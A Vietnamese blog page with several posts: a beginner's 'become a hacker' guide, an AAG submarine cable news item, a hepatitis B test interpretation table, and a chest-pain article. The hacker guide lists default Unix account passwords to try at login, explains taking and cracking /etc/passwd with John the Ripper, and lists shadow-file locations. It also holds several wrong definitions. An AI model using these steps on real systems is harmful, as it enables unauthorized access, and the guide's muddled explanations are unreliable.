Thứ Sáu, 10 tháng 12, 2010


Những hiểu biết để trở thành HACKER


( Tài liệu này do Mickey sưu tầm HVAonline.net) gửi cho các bạn tham khảo
P1:
1 . ) Ta cần những gì để bắt đầu?

Có thể nhiều bạn không đồng ý với tôi nhưng cách tốt nhất để thực tập là các bạn hãy dùng HĐH Window 9X , rồI đến các cái khác mạnh hơn đó là Linux hoặc Unix , dướI đây là những cái bạn cần có :
+ Một cái OS ( có thể là DOS , Window 9X , Linux , Unit ….)
+ Một cái trang Web tốt ( HVA chẳng hạn hi`hi` greenbiggrin.gif greenbiggrin.gif )
+ Một bộ trình duyệt mạng tốt ( là Nescape , IE , nhưng tốt nhất có lẽ là Gozzila )
+ Một công cụ chat tốt ( mIRC ,Yahoo Mass …..)
+ Telnet ( hoặc những cái tương tự như nmap …)
+ Cái quan trọng nhất mà bất cứ ai muốn trở thành một hacker là đều phảI có một chút kiến thức về lập trình ( C , C++ , Visual Basic , Pert …..)

2 . ) Thế nào là một địa chỉ IP ?

_ Địa chỉ IP được chia thành 4 số giới hạn từ 0 - 255. Mỗi số được lưu bởi 1 byte - > !P có kicks thước là 4byte, được chia thành các lớp địa chỉ. Có 3 lớp là A, B, và C. Nếu ở lớp A, ta sẽ có thể có 16 triệu điạ chỉ, ở lớp B có 65536 địa chỉ. Ví dụ: Ở lớp B với 132.25,chúng ta có tất cả các địa chỉ từ 132.25.0.0 đến 132.25.255.255. Phần lớn các địa chỉ ở lớp A llà sở hữu của các công ty hay của tổ chức. Một ISP thường sở hữu một vài địa chỉ lớp B hoặc C. Ví dụ: Nếu địa chỉ IP của bạn là 132.25.23.24 thì bạn có thể xác định ISP của bạn là ai. ( có IP là 132.25.x.)
_ IP là từ viết tắt của Internet Protocol, trên Internet thì địa chỉ IP của mỗI người là duy nhất và nó sẽ đạI diện cho chính ngườI đó, địa chỉ IP được sử dụng bởi các máy tính khác nhau để nhận biết các máy tính kết nối giữa chúng. Đây là lí do tại sao bạn lại bị IRC cấm, và là cách người ta tìm ra IP của bạn.
Địa chỉ IP có thể dễ dàng phát hiện ra, người ta có thể lấy được qua các cách sau :
+ bạn lướt qua một trang web, IP của bạn bị ghi lại
+ trên IRC, bất kì ai cũng có thể có IP của bạn
+ trên ICQ, mọi người có thể biết IP của bạn, thậm chí bạn chọn ``do not show ip`` người ta vẫn lấy được nó
+ nếu bạn kết nối với một ai đó, họ có thế gõ ``netstat –n ``, và biết được ai đang kết nối đên họ
+ nếu ai đó gửi cho bạn một email với một đoạn mã java tóm IP, họ cũng có thể tóm được IP của bạn
( Tài liệu của HVA )

3 . ) Làm thế nào để biết được địa chỉ IP của mình ?

Run đánh lệnh “winipcfg” ._ Trong Window : vào Start
_ Trong mIRC : kết nốI đến máy chủ sau đó đánh lệnh “/dns ”
_ Thông qua một số trang Web có hiển thị IP .

4 . ) IP Spoofing là gì ?

_ Một số IP có mục đích để xác định một thiết bị duy nhất trên thế giới. Vì vậy trên mạng một máy chủ có thể cho phép một thiết bị khác trao đổi dữ liệu qua lại mà không cần kiểm tra máy chủ.
Tuy nhiên có thể thay đổi IP của bạn, nghĩa là bạn có thể gởi một thông tin giả đến một máy khác mà máy đó sẽ tin rằng thông tin nhận được xuất phát từ một máy nào đó (tất nhiên là không phải máy của bạn). Bạn có thể vượt qua máy chủ mà không cần phải có quyền điều khiến máy chủ đó. Điều trở ngại là ở chỗ những thông tin phản hồi từ máy chủ sẽ được gởi đến thiết bị có IP mà chúng ta đã giả mạo. Vì vậy có thể bạn sẽ không có được sự phản hồi những thông tin mà mình mong muốn. Có lẽ điều duy nhất mà spoof IP có hiệu quả là khi bạn cần vượt qua firewall, trộm account và cần dấu thông tin cá nhân!
( Tài liệu của HVA )

5 . ) Trojan / worm / virus / logicbomb là cái gì ?

_ Trojan : Nói cho dễ hiểu thì đây là chương trình điệp viên được cài vào máy của ngườI khác để ăn cắp nhũng tài liệu trên máy đó gửI về cho chủ nhân của nó , Cái mà nó ăn cắp có thể là mật khẩu , accourt , hay cookie ………. tuỳ theo ý muốn của ngườI cài nó .
_ virus : Nói cho dễ hiểu thì đây là chương trình vớI những mã đặc biệt được cài ( hoặc lây lan từ máy khác ) lên máy của nạn nhân và thực hiện những yêu cầu của mã đó , đa số virut được sử dụng để phá hoạI dữ liệu hoặc phá hoạI máy tính .
_ worm : Đây là chương trình độc lập có thể tự nhân bản bản thân nó và lây lan khắp bên trong mạng .Cũng giống như Virut , nó cũng có thể phá hoạI dữ liệu , hoặc nó có thể phá hoạI bên trong mạng , nhiều khi còn làm down cả mang đó .
_ logicbomb : Là chương trình gửi một lúc nhiều gói dữ liệu cho cùng một địa chỉ , làm ngập lụt hệ thống , tắt nghẽn đường truyền ( trên server ) hoặc dùng làm công cụ để “khủng bố” đốI phương ( bom Mail ) .

6 . ) PGP là gì ?

_ PGP là viết tắt của từ “Pretty Good Privacy” , đây là công cụ sử dụng sự mã hoá chìa khoá công cộng để bảo vệ những hồ sơ Email và dữ liệu , là dạng mã hoá an toàn cao sử dụng phần mềm cho MS_DOS , Unix , VAX/VMS và cho những dạng khác .

7 . ) Proxy là gì ?

_Proxy cung cấp cho người sử dụng truy xuất internet với những host đơn. Những proxy server phục vụ những nghi thức đặt biệt hoặc một tập những nghi thức thực thi trên dual_homed host hoặc basion host. Những chương trình client của người sử dung sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử dụng cần giao tiếp. Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay cho client và tiếp tục chuyển tiếp đến những yêu cầu từ clientđến server, cũng như đáp ứng những yêu cầu của server đến client. Vì vậy proxy server giống cầu nối trung gian giữa server và client .
_ Proxy cho user truy xuất dịch vụ trên internet theo nghĩa trực tiếp. Với dual host homed cần phải login vào host trước khi sử dụng dịch vụ nào trên internet. Điều này thường không tiện lợi, và một số người trể nên thất vọng khi họ có cảm giác thông qua firewall, với proxy nó giải quyết được vấn đề này. Tất nhiên nó còn có những giao thức mới nhưng nói chung nó cũng khá tiện lợi cho user. Bởi vì proxy cho phép user truy xuất những dịch vụ trên internet từ hệ thống cá nhân của họ, vì vậy nó không cho phép packet đi trực tiếp giữa hệ thống sử dụng và internet. đường đi là giáng tiếp thông qua dual homed host hoặc thông qua sự kết hợp giữa bastion host và screening rounter.

( Bài viết của Z3RON3 – tài liệu của HVA )

8 . ) Unix là gì ?

_ Unix là một hệ điều hành ( giống Window ) .Nó hiện là hệ điều hành mạnh nhất , và thân thiết với các Hacker nhất . Nếu bạn đã trở thành một hacker thật sự thì HĐH này không thể thiếu đối vớI bạn . Nó được sử dụng hỗ trợ cho lập trình ngôn ngữ C .

9 . ) Telnet là gì ?

_ Telnet là một chương trình cho phép ta kết nốI đến máy khác thông qua cổng ( port ) . MọI máy tính hoặc máy chủ ( server ) đều có cổng , sau đây là một số cổng thông dụng :
+ Port 21: FTP
+ Port 23: Telnet
+ Port 25: SMTP (Mail)
+ Port 37: Time
+ Port 43: Whois
_ Ví dụ : bạn có thể gọI Telnet để kết nốI đến mail.virgin.net trên port 25 .

10 . ) Làm thế nào để biết mình đã Telnet đến hệ thống Unix ?
_ Ok , tôi sẽ nói cho bạn biết làm sao một hệ thống Unix có thể chào hỏI bạn khi bạn kết nối tới nó . Đầu tiên , khi bạn gọi Unix , thông thường nó sẽ xuất hiện một dấu nhắc : “ Log in : ” , ( tuy nhiên , chỉ với như vậy thì cũng chưa chắc chắn đây là Unix được ngoạI trừ chúng xuất hiện thông báo ở trước chữ “ log in :” như ví dụ : Welcome to SHUnix. Please log in ….)
Bây giờ ta đang ở tạI dấu nhắc “log in” , bạn cần phảI nhập vào một account hợp lệ . Một account thông thường gồm có 8 đặc tính hoặc hơn , sau khi bạn nhập account vào , bạn sẽ thấy có một mật khẩu , bạn hãy thử nhập Default Password thử theo bảng sau :

Account-------------------------Default Password


Root----------------------------------------------- Root
Sys------------------------------------------------ Sys / System / Bin
Bin------------------------------------------------ -Sys / Bin
Mountfsy------------------------------------------M ountfsys
Nuuc----------------------------------------------- Anon
Anon----------------------------------------------- Anon
User----------------------------------------------- -User
Games---------------------------------------------G ames
Install-------------------------------------------- --Install
Demo----------------------------------------------- Demo
Guest---------------------------------------------- Guest


11 . ) shell account là cái gì ?

_ Một shell account cho phép bạn sử dụng máy tính ở nhà bạn như thiết bị đầu cuốI ( terminal ) mà vớI nó bạn có thể đánh lệnh đến một máy tính đang chạy Unix , “Shell” là chương trình có nhiệm vụ dịch những ký tự của bạn gửi đến rồI đưa vào thực hiện lệnh của chương trình Unix . VớI một shell account chính xác bạn có thể sử dụng được một trạm làm việc mạnh hơn nhiều so vớI cái mà bạn có thể tưởng tượng đến được .
Bạn có thể lấy được “shell account” miễn phí tạI trang Web www.freeshell.com tuy nhiên bạn sẽ không sử dụng được “telnet” cho đến khi bạn trả tiền cho nó .

12 . ) Làm cách nào để bạn có thể crack Unix account passwords ?

_ Rất đơn giản , tuy nhiên cách mà tôi nói vớI các bạn ở đây “lạc hậu” rồI , các bạn có thể crack được chúng nếu các bạn may mắn , còn không thì các bạn đọc để tham khảo .
_ Đầu tiên bạn hãy đăng nhập vào hệ thống có sử dụng Unix như một khách hàng hoặc một ngườI khách ghé thăm , nếu may mắn bạn sẽ lấy được mật khẩu được cất dấu trong những hệ thống chuẩn như :

/etc/passwd

mỗi hàng trong một hồ sơ passwd có một tài khoản khác nhau , nó giống như hàng này :

useridassword:userid#:groupid#:GECOS field:home dir:shell

trong đó :
+ userid = the user id name : tên đăng nhập : có thể là một tên hoặc một số .
+ password : mật mã . Dùng để làm gì hẳn các bạn cũng biết rồI .
+ userid# : là một số duy nhất đựơc thông báo cho ngườI đăng ký khi họ đăng ký mớI ở lần đầu tiên .
+ groupid# : tương tự như userid# , nhưng nó được dùng cho những ngườI đang ở trong nhóm nào đó ( như nhóm Hunter Buq của HVA chẳng hạn )
+ GECOS FIELD : đây là nơi chứa thông tin cho ngườI sử dụng , trong đó có họ tên đầy đủ , số điện thoại , địa chỉ v.v…. . Đây cũng là nguồn tốt để ta dễ dàng crack một mật khẩu .
+ home dir : là thư mục ghi lạI hoạt động của người khách khi họ ghé thăm ( giống như mục History trong IE vậy )
+ Shell : đây là tên của shell mà nó tự động bắt đầu khi ta login .
_ Hãy lấy file password , lấy file text đã mã hoá về , sau đó bạn dùng chương trình ``CrackerJack`` hoặc ``John the Ripper`` để crack .
_ Các bạn thấy cũng khá dễ phảI không ? Sai bét , không dễ dàng và may mắn để bạn có thể crack được vì hầu hết bây giờ họ cất rất kỹ , hãy đọc tiếp bạn sẽ thấy khó khăn chỗ nào .

13 . ) shadowed password là cái gì ?

_ Một shadowed password được biết đến là trong file Unix passwd , khi bạn nhập một mật khẩu , thì ngườI khác chỉ thấy được trình đơn của nó ( như ký hiệu “ X ” hoặc “ * ” ) . Cái này thông báo cho bạn biết là file passwd đã được cất giữ ở nơi khác , nơi mà một ngườI sử dụng bình thường không thể đến được . Không lẽ ta đành bó tay , dĩ nhiên là đốI vớI một hacker thì không rùi , ta không đến được trực tiếp file shadowed password thì ta hãy tìm file sao lưu của nó , đó là file Unshadowed .
Những file này trên hệ thống của Unix không cố định , bạn hãy thử vớI lần lượt những đường dẫn sau :

CODE
AIX 3 /etc/security/passwd !
or /tcb/auth/files/ /
A/UX 3.0s /tcb/files/auth/?/ *
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/ /
SunOS4.1+c2 /etc/security/passwd.adjunct =##username
SunOS 5.0 /etc/shadow
maps/tables/whatever >
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb =20
Trước dấu “ / ”đầu tiên của một hàng là tên của hệ thống tương ứng , hãy căn cứ vào hệ thông thật sự bạn muốn lấy rồI lần theo đường dẫn phía sau dấu “/”đầu tiên
:

CODE
arifx:1569:1000:Nguyen Anh Chau:/udd/arif:/bin/ksh
arigox:1570:1000:Ryan Randolph:/udd/arigo:/bin/ksh
aristox:1573:1000:To Minh Phuong:/udd/aristo:/bin/ksh
armandox:1577:1000:Armando Huis:/udd/armando:/bin/ksh
arnx:1582:1000:Arn mett:/udd/arn:/bin/ksh
arnex:1583:1000ham Quoc Tuan:/udd/arne:/bin/ksh
aroonx:1585:1000:Aroon Thakral:/udd/aroon:/bin/ksh
arozinex:1586:1000: Mogielnicki:/udd/arozine:/bin/bash
arranwx:1588:1000:Arran Whitaker:/udd/arranw:/bin/ksh
Để bảo đảm sự bí mật nên pass của họ tôi xoá đi và để vào đó là ký hiệu “ xx ” , các bạn hãy tìm hiểu thông tin có được từ chúng xem

Thứ Năm, 25 tháng 11, 2010

SPT bắt đầu khai thác tuyến cáp quang biển AAG: Bước ngoặt mới
  E-mail        Bản để in        Cỡ chữ       Chia sẻ:         
▪  HẢI VY
29/01/2010 05:59 (GMT+7)

Sơ đồ đường cáp quang AAG - Ảnh: AAG Consorrtium.
Với sự kiện này, SPT đã có thể cung cấp ra thị trường nhiều dịch vụ viễn thông chất lượng cao
Ngày 15/1 vừa qua, Trung tâm Truyền dẫn đường dài trong nước và  quốc tế - Công ty Cổ phần Dịch vụ Bưu chính Viễn thông Sài Gòn (SPT) đã chính thức đưa tuyến cáp quang biển AAG (Asia America Gateway) vào khai thác.

Với sự kiện này, SPT đã có thể cung cấp ra thị trường nhiều dịch vụ viễn thông là IRU (Indefeasible Right of Use), MIU (Minimum Investment Unit), Thuê kênh riêng quốc tế  (IPLC), Thuê kênh riêng liên tỉnh, Thuê kênh riêng Internet, Mạng riêng ảo (VPN)... với chất lượng cao và các gói cước hấp dẫn.

AAG là hệ thống cáp quang biển có chiều dài 20.000 km, dung lượng thiết kế  đạt đến 2 Terabit/giây, kết nối trực tiếp khu vực  Đông Nam Á với Mỹ. AAG đi qua Malaysia, Singapore, Thái Land, Việt Nam (điểm cập bờ tại thành phố Vũng Tàu), Brunei, Hồng Kông, Philippines và Mỹ (Guam, Hawaii và California).

AAG là tuyến cáp quang đầu tiên và duy nhất đến thời điểm hiện tại kết nối trực tiếp lưu lượng từ khu vực Đông Nam Á đến Mỹ. Với dung lượng băng thông quốc tế lớn, việc khai thác AAG cũng đã nâng tổng dung lượng đường truyền quốc tế của Việt Nam lên gấp 6 lần so với năm 2009, đáp ứng kịp thời cho nhu cầu băng thông phát triển bùng nổ mạnh mẽ tại Việt Nam hiện nay.

Tuyến cáp quang biển AAG dự  kiến sẽ đem lại những lợi ích rất cụ thể đối với các thành viên tham gia. AAG vào hoạt động sẽ đáp ứng được nhu cầu sử dụng băng thông rộng ngày càng tăng của Việt Nam, đặc biệt là các dịch vụ ứng dụng băng rộng như video, truyền dữ liệu và các dịch vụ đa phương tiện khác. Dung lượng của tuyến cáp có thể hỗ trợ cùng lúc 130.000 đường truyền tín hiệu truyền hình độ phân giải cao (HDTV).

Từ trước tới nay, các tuyến cáp quang biển được xây dựng kết nối Đông Nam Á sang Mỹ đều phải đi qua các quốc gia khác như Nhật Bản, Trung Quốc, Đài Loan... Trong năm 2007, tuyến đường dài mang nhiều rủi ro này đã gặp sự cố động đất tại Đài Loan khiến mạng Internet của khu vực châu Á bị trục trặc và phải mất khá nhiều thời gian mới có thể khắc phục.

Bởi vậy, AAG hiện đang đóng vai trò như một trong những tuyến cáp chính và  quan trọng nhất của Việt Nam và khu vực Đông Nam Á đi quốc tế. Việc đưa vào vận hành tuyến cáp sẽ làm giảm đáng kể nguy cơ bị  cô lập với thế giới bên ngoài khi có sự  cố trên các tuyến cáp quang biển khác hiện tại, như SMW3, IACS.

Trước đó, vào tháng 4/2007, tại Malaysia, ba doanh nghiệp viễn thông của Việt Nam là  SPT, VNPT và Viettel và đã cùng với 15 công ty viễn thông quốc tế và khu vực tham gia ký kết thoả  thuận xây dựng và bảo dưỡng hệ thống cáp quang biển AAG, có tổng dự toán lên tới 560 triệu USD.

Đến ngày 10/11/2009, sau khi hoàn thành đo thử toàn tuyến, Hiệp hội Các thành viên hệ thống cáp quang biển quốc tế AAG đã chính thức đưa tuyến cáp vào khai thác.

Trong kế hoạch phát triển hạ tầng, nâng cao năng lực cung cấp truyền dẫn đường dài trong nước và quốc tế của mình, Trung tâm Truyền dẫn SPT đã cam kết đáp ứng ngày càng tốt hơn nhu cầu của khách hàng, với lưu lượng băng thông quốc tế lớn, ổn định lại vừa được tăng cường bởi tuyến cáp AAG, sẽ đảm bảo chất lượng dịch vụ và chăm sóc khách hàng luôn ở mức cao nhất.

Bên cạnh đó, Trung tâm Truyền dẫn SPT cũng đã đưa trang web www.stn.com.vn của Trung tâm vào hoạt động như là một kênh thông tin chính thức nhằm cung cấp đầy đủ nhất, kịp thời những thông tin đáp ứng theo yêu cầu của khách hàng.

Với lợi thế cơ sở  mạng lưới hạ tầng vững chắc sẵn có cùng nhiều gói dịch vụ đa dạng, phù hợp, Trung tâm Truyền dẫn SPT đã chia sẻ lợi ích kinh tế này với khách hàng bằng những chính sách ưu đãi đặc biệt. Điều này đã mang lại nhiều cơ hội cho khách hàng được sử dụng những dịch vụ có chất lượng cao nhất cùng giá cả hợp lý nhất.

Thứ Tư, 10 tháng 11, 2010

DIỄN GIẢI KẾT QUẢ XÉT NGHIỆM VIÊM GAN SIÊU VI B


DIỄN GIẢI KẾT QUẢ XÉT NGHIỆM VIÊM GAN SIÊU VI B

HBV : virus viêm gan B
HBsAg : kháng nguyên bề mặt viêm gan B
HBeAg : kháng nguyên e viêm gan B
Anti-HBc : kháng thể của kháng nguyên nhân viêm gan B
Anti-HBe : kháng thể của kháng nguyên e viêm gan B
Anti-HBs : kháng thể của kháng nguyên bề mặt viêm gan B


• Kháng nguyên : là yếu tố xâm nhập gây bệnh ( nhân, vỏ, lông …của virus gây bệnh ).
• Kháng thể : là yếu tố kháng bệnh mà cơ thể sinh ra nhằm chống lại tác nhân gây bệnh
• Âm tính : không có = O
• Dương tính : Có = X


Kết quả xét nghiệm





* Trường hợp 1 :
HBsAg : O
HBeAg : O
Anti-HBc : O
Anti-HBe : O
Anti-HBs : O
---> Cho thấy khả năng dễ nhiễm viêm gan B. Bệnh nhân chưa từng nhiễm viêm gan B




* Trường hợp 2 :
HBsAg : O
HBeAg : O
Anti-HBc : O
Anti-HBe : O
Anti-HBs : X
---> Có thể cho thấy tiền sử nhiễm với việc biến mất chọn lọc Anti-HBc và Anti-HBe hoặc do chủng ngừa, chủng ngừa thụ động tạm thời bằng HBIG hoặc chủng ngừa chủ động lâu dài bằng vaccin viêm gan B.Không lây nhiễm.
* Trường hợp 3 :
HBsAg : X
HBeAg : O
Anti-HBc : O
Anti-HBe : O
Anti-HBs : O
---> Giai đoạn sau của thời kỳ ủ bệnh hoặc giai đoạn rất sớm của nhiễm cấp. Nguy cơ lây nhiễm.


* Trường hợp 4 :
HBsAg : X
HBeAg : X
Anti-HBc : O
Anti-HBe : O
Anti-HBs : O
---> Giai đoạn đầu của nhiễm cấp. Nguy cơ lây nhiễm.


* Trường hợp 5 :
HBsAg : O
HBeAg : O
Anti-HBc : X
Anti-HBe : O
Anti-HBs : X
---> Trường hợp này cho thấy tiền sử nhiễm HBV nhưng Anti-HBe không tồn tại dai dẳng hay không thể phát hiện. Miễn dịch đối với các trường hợp nhiễm thứ phát. Không lây nhiễm.


*Trường hợp 6 :
HBsAg : O
HBeAg : O
Anti-HBc : X
Anti-HBe : X
Anti-HBs : X
---> Cho thấy tiền sử nhiễm HBV. Miễn dịch đối với các trường hợp nhiễm thứ phát. Không lây nhiễm.


Trường hợp 7
:
HBsAg : X
HBeAg : X
Anti-HBc : X
Anti-HBe : O
Anti-HBs : O
---> Nhiễm cấp hoặc mạn. Nguy cơ lây nhiễm cao.


* Trường hợp 8 :
HBsAg : X
HBeAg : O
Anti-HBc : X
Anti-HBe : O
Anti-HBs : O
---> Nhiễm cấp hoặc mạn ; Thời kỳ sau khi HBeAg biến mất nhưng chưa phát hiện được Anti-HBe. Chỉ định theo dõi huyết thanh học. Nguy cơ lây nhiễm.


* Trường hợp 9 :
HBsAg : X
HBeAg : X
Anti-HBc : X
Anti-HBe : X
Anti-HBs : O
---> Giai đoạn từ giữa đến cuối của nhiễm cấp hoặc tình trạng người mang mầm bệnh mạn tính. Thời kỳ chuyển đổi huyết thanh từ HBeAg sang Anti-HBe. Chỉ định theo dõi huyết thanh học. Nguy cơ lây nhiễm.


* Trường hợp 10 :
HBsAg : X
HBeAg : O
Anti-HBc : X
Anti-HBe : X
Anti-HBs : O
---> Giai đoạn từ giữa đến cuối của nhiễm cấp hoặc tình trạng người mang mầm bệnh mạn tính. Chỉ định theo dõi huyết thanh học. Nguy cơ lây nhiễm.


* Trường hợp 11 :
HBsAg : O
HBeAg : O
Anti-HBc : X
Anti-HBe : O
Anti-HBs : O
---> Trường hợp này thường biểu hiện tình trạng nhiễmtrước đây với việc mất chọn lọc Anti-HBs. Tình trạng này cũng có thể biểu hiện cho giai đoạn của sổ của một đợt nhiễm cấp; nhiễm mạn tính với HBsAg thấp hơn giới hạn có thể phát hiện; hoặc kết quà thử nghiệm có sai sót. Nguy cơ lây nhiễm thấp.


* Trường hợp 12 :
HBsAg : O
HBeAg : O
Anti-HBc : X
Anti-HBe : X
Anti-HBs : O
---> Trường hợp này có thể biểu hiện cho tình trạng nhiễm mà chưa thể phát hiện Anti-HBs; tình trạng nhiễm trước đây không tồn tại dai dẳng Anti-HBS; hoặc hiếm hơn tình trạng nhiễm hiện tại với HBsAg thấp hơn giới hạn có thể phát hiện. Nguy cơ lây nhiễm thấp.


* Trường hợp 13 :
HBsAg : O
HBeAg : X
Anti-HBc : O
Anti-HBe : O
Anti-HBs : O
---> Một trường hợp hiếm gặp phần lớn là do kết quả thử nghiệm sai sót. Chỉ định làm lại thử nghiệm.



* Trường hợp 14 :
HBsAg : O
HBeAg : O
Anti-HBc : O
Anti-HBe : X
Anti-HBs : O
---> Có thể là sai sót của kết quả thử nghiệm. Nếu Anti-HBe dương tính thật sự, rồi tới Anti-HBc và có thể Anti-HBs cũng dương tính. Chỉ địng làm lại thử nghiệm.



* Trường hợp 15 :
HBsAg : X
HBeAg : O
Anti-HBc : X
Anti-HBe : X
Anti-HBs : X
---> Một tình trạng đôi khi gặp phải, cho thấy việc lưu hành các phức hợp miễn dịch của HBsAg với tỉ lệ như nhau nên cả hai có thể được phát hiện; HBsAg và Anti-HBs với các kiểu phụ khác
nhau; hoặc kết quả thử nghiệm Anti-HBs có sai sót. Nguy cơ lây nhiễm.

Thứ Ba, 9 tháng 11, 2010

Chứng đau ngực
Đau ngực là một cảm giác khó chịu ở vùng ngực xảy ra do các nguyên nhân tại thành ngực hay các phủ tạng bên trong nó gây ra. Chứng đau ngực thường gặp tại các phòng khám đa khoa và cũng là nguyên nhân khiến bệnh nhân phải tìm đến thầy thuốc do tính nguy hiểm của cơn đau ở khu vực này.

Dựa vào các tính chất và đặc điểm của đau ngực như vị trí, điều kiện xuất hiện, cường độ, thời gian, hướng lan mà chúng ta có thể dự đoán được tương đối chính xác về nguyên nhân gây ra đau ngực.
Về cấu tạo giải phẫu của ngực bao gồm lồng ngực (có da, cơ, xương và thần kinh) và các tạng trong nó (tim, phổi và các cuống mạch). Do vậy, đại đa số đau ngực đều có nguồn gốc từ những bộ phận này.
Các loại đau ngực có nguồn gốc từ thành ngực:
1. Từ các tổ chức phần mềm:
  • Viêm da, cơ: ngoài các triệu chứng sưng đau tại chỗ, bệnh nhân còn có sốt cao, thể trạng nhiễm trùng nhiễm độc.
  • Do chấn thương đụng dập cơ: có dấu hiệu tại chỗ chủ yếu như thâm tím  hoặc sây sát.
  • Zôna ngực: Da ngực vùng tổn thương nóng, đỏ, rát, trên bề mặt có nhiều mụn phỏng nước. Mụn Zôna thường bám dọc theo các xương sườn. Đau thường rất nhiều và tăng lên khi thở sâu hay đụng chạm vào vùng bệnh.
  • Đau ngực trong viêm tuyến vú, tắc tuyến sữa ở những người đang cho con bú, ung thư tuyến vú. Do vậy, phụ nữ ở độ tuổi trên dưới 40 phải thường xuyên kiểm tra tuyến vú của mình, nếu có u cục phải lập tức đến bác sĩ để có chẩn đoán và xử trí kịp thời.
2. Từ các dây thần kinh liên sườn:
Viêm dây thần kinh liên sườn: đau vừa phải, đau tăng lên khi hít vào sâu, đặc biệt khi ấn dọc theo các kẽ liên sườn. Da tại vùng đau gần như không có biến đổi gì đặc biệt.
3. Từ xương ức, sườn, khớp sụn sườn, cột sống ngực:
  • Các tổn thương do viêm hay thoái hóa: viêm khớp ức sườn, thoái hóa cột sống ngực, đặc biệt là lao cột sống, ung thư đốt sống. Trong trường hợp do lao cột sống, đau không nhiều nhưng dai dẳng, đau thành khoanh quanh lồng ngực vùng tổn thương. Lao cột sống có thể nguyên phát, nhưng cũng có thể hậu phát sau lao phổi, ngoài triệu chứng đau tại chỗ như đã nêu, bệnh nhân thường có sốt về chiều, kém ăn, người gầy sút, có thể ho ra máu.
  • Do chấn thương: bệnh nhân có biểu hiện đau tại chỗ vết xây xát, thâm tím, đặc biệt khi nắn vào vùng đau sẽ có dấu hiệu điểm đau chói. Do vậy để tránh khỏi bỏ sót gãy xương kín đáo, người sau ngã hoặc chấn thương vùng ngực phải được chụp X- quang lồng ngực.
Các loại đau có nguồn gốc từ phổi:
1. Viêm màng phổi khô hoặc có tràn dịch màng phổi:
Biểu hiện ban đầu thường chỉ đau khu trú ở một vùng nhỏ của ngực, đau tăng lên khi hít vào. Khi xuất hiện tràn dịch màng phổi lượng dịch ít thường bệnh nhân đau khi nằm nghiêng về phía tràn dịch và nếu lượng dịch nhiều sẽ có biểu hiện ngược lại.
2. Ung thư màng phổi:
Cần phải chụp X- quang, chụp cắt lớp vi tính phổi.
3. Tràn khí màng phổi:
Đau ngực đột ngột, dữ dội như dao đâm, khó thở thường xảy ra đột ngột sau một gắng sức ở người trẻ tuổi không có tiền sử bệnh. Tuy nhiên hay gặp trên những người có tiền sử hen phế quản, giãn phế nang, đau ngực và khó thở có thể đến đột ngột hoặc từ từ. Tiên lượng thường xấu hơn.
4. Tràn máu màng phổi sau chấn thương.
5. Dày dính màng phổi.
Các nguyên nhân có nguồn gốc từ phổi:
  • Viêm phổi: Bệnh nhân sốt cao, đau ngực bên tổn thương, khó thở, ho khạc đờm màu rỉ sắt. Nếu không được điều trị có thể dẫn đến biến chứng áp xe phổi.
  • Viêm phế quản tắc nghẽn mạn tính: Đau ngực ở đây thường do viêm nhiễm, đặc biệt hậu phát do tăng áp lực động mạch phổi.
  • Ung thư phế quản: Bệnh hay xảy ra cho những người lớn tuổi có tiền sử nghiện thuốc lá, thuốc lào, đột nhiên thấy đau ngực kèm theo ho ra máu và người gầy sút, biếng ăn, mệt mỏi. Có trường hợp đau ngực lan lên vai, lên cánh tay, kèm theo móng tay khum như mặt kính đồng hồ hoặc có dạng như dùi trống.
Đau ngực có nguồn gốc từ các cuống mạch của trung thất:
  • Bệnh tăng áp lực động mạch phổi.
  • Bệnh phình tách động mạch chủ: Đau ngực dữ dội, đau trong sâu, đau sau lưng và rất dễ nhầm với nhồi máu cơ tim.
  • Viêm hay u trung thất.
Đau ngực do nguyên nhân tim:
1. Viêm màng ngoài tim:
  • Viêm màng ngoài tim khô: Đau ngực vùng trước tim và tăng lên khi thở sâu, đặc biệt khi cúi người về phía trước.
  • Tràn dịch màng ngoài tim, ung thư màng tim.
2. Đau thắt ngực trong suy mạch vành mạn hoặc cấp:
Tùy từng loại mà cơn đau ngực ở đây có những nét đặc trưng khác nhau tuy rằng chúng có một đặc điểm chung là đau ở vùng trước tim, đau sau xương ức. Nhưng mức độ đau có thể không giống nhau, từ mức chỉ có cảm giác nặng ngực, đến nghẹt thở, vã mồ hôi kèm theo hốt hoảng, sợ hãi. Sự khác nhau quan trọng giữa các cơn thắt ngực là hoàn cảnh xuất hiện cơn đau, ví dụ:
Trong cơn đau thắt ngực gắng sức (hay còn gọi là cơn đau thắt ngực ổn định): đau thường xuất hiện sau các gắng về thể lực (như đi bộ nhanh, chạy lên cầu thang…) hoặc tâm lý (quá buồn, vui hay lo lắng…).
Trong cơn đau thắt ngực tự phát (Cơn Prinzmetal): đau xảy ra thường vào ban đêm hoặc vào các giờ gần sáng và không liên quan gì đến gắng sức. Để chẩn đoán được cơn này phải thực hiện ở cơ sở chuyên khoa.
Trong cơn đau thắt ngực không ổn định: đau thường xuất hiện ngay chỉ với gắng sức rất nhẹ, cơn hay xảy ra vào ban đêm, thời gian cơn thường kéo dài > 30 phút, do tổn thương mạch vành trong trường hợp này nặng hơn trong cơn đau thắt ngực gắng sức.
Trong nhồi máu cơ tim cấp: đau ngực dữ dội, đau như dao đâm hay đau như quả tim bị kẹp, bị bóp,… đau vùng trước tim lan lên cằm, hàm dưới, lan lên vai trái, lan dọc theo cánh tay đến tận các ngón tay. Khác với các cơn đau trong đau thắt ngực thời gian đau chỉ vài phút (từ 2 – 3 phút), trong nhồi máu cơ tim thời gian đau thường kéo dài hàng giờ có khi hàng ngày hoặc hơn. Kèm theo đau bệnh nhân có cảm giác hốt hoảng, sợ chết.
Các nguyên nhân gây đau ngực có nguồn gốc ngoài lồng ngực:
  • Đau ngực do viêm loét thực quản: Đau sau xương ức, có cảm giác nóng rát như xát chanh. Bệnh nhân có thể có kèm theo hay ợ hơi, ợ chua.
